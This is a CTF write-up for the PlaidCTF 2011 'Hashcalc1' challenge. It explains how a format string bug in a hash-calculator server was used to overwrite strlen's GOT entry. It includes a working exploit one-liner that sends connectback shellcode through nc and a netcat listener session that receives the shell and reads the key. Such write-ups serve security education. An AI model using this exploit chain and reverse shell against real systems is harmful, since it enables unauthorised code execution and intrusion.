Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 22 – Hashcalc1 – 300 pts

This is my writeup for the twenty-second challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“nc a9.amalgamated.biz 30001”

The binary for the server listening on this port was also available for download. Simply running strings on the binary reveals that it is a forking socket server that spawns a new process to handle each incoming connection. Connecting to the service we get:

This is an example of connecting to the service on my own machine:

je@isis:~$ nc localhost 30001
** Welcome to the online hash calculator **
$ foo
3828 (foo)
je@isis:~$ nc localhost 30001
** Welcome to the online hash calculator **
$ bar
604 (bar)

The service prompts for a string, calculates its hash and prints it out to the user before closing the connection. If we send a string slightly larger than 256 bytes the connection is abruptly closed though, which most likely indicates a buffer overflow. Since the binary is compiled with stack canaries enabled this may not be all that useful though. A quick inspection in IDA Pro reveals that the buffer overflow is due to a vsprintf() in the function at 0x08048b22, which I’ve named sock_printf() to be a bit more descriptive. The decompiled version is as follows:

void sock_printf(int fd, const char *fmt, ...)
{
  size_t len;
  char buf[256];
  va_list ap;

  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  len = strlen(buf);
  if (send(fd, buf, len, 0) == -1) {
    perror("send message");
    exit(-1);
  }
}

There is also code for checking a stack cookie, but since that is automatically inserted by the compiler I’ve omitted that part from my decompiled code. As you can see, there really isn’t much of value to overwrite on the stack unless we can predict (or bruteforce) the stack cookie, or patch the GOT-entry for ___stack_chk_fail(). Luckily for us there is another issue to exploit, that is revealed by simply sending a “%n” as the string to hash. This will also result in the connection being abruptly closed, which indicates a format string vulnerability.

In IDA Pro we can see that the format string vulnerability is triggered by an fprintf(log_fp, buf), right before the hash is calculated. Since the output is written to a logfile and not back to the socket we are not able to use this to read data from the stack. Since our buffer is on the stack we can easily use this to achieve arbitrary writes to arbitrary addresses though, by embedding the addresses we want to write to in our buffer and finding the offset to the buffer by, for instance, embedding a known writable address in our buffer, using %n at different offsets and switching to a known invalid / non-writable address for each offset that does not trigger a crash. Since we have access to the binary we can determine the offset (5) directly by analyzing the code though.

Due to a mistake by the PlaidCTF organizers, NX was not effective and ordinary shellcode could be used, which saved me some time. Since strlen() is called directly after the vulnerable fprintf(), in the function that calculates the hash, I chose to use the format string vulnerability to overwrite the GOT-entry for strlen() at address 0x0804a41c. Since the stack is randomized it would require bruteforcing to find our shellcode in the stack, but since a pointer to our buffer is passed as the first argument to strlen() we can just stuff our shellcode into the beginning of the buffer and use a suitable trampoline from the binary itself, which is mapped on a fixed address. A pop-ret or a call eax would be good for this purpose, since the buffer pointer is copied into eax before being passed as an argument. I chose the latter, at address 0x080491cb.

At this point of the competition I felt pretty lazy, so ended up exploiting it with a one-liner instead of creating a script for it:

(cat ~/cb.bin; perl -e '
    print pack("L",0x804a41c+2),pack("L",0x804a41c),
    "%'$[0x0804-88]'u","%25\$hn","%'$[0x91cb-0x0804]'u","%26\$hn"'
) | nc a9.amalgamated.biz 30001

The file cb.bin is an 80 bytes connectback shellcode. Since the beginning of our buffer was at offset 5 I add 20 to this now when I’ve embedded the addresses to write to after the shellcode (20*4=80), and end up with %25$hn and %26$hn to overwrite the two most significant bytes and the two least significant bytes of the GOT-entry respectively.

In another tty I’ve set up a netcat listener on the port that the connectback shellcode connects to:

je@isis:~$ nc -l 12345
id
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1)
cat /home/hashcalc1/key
th3_0tH3r_DJB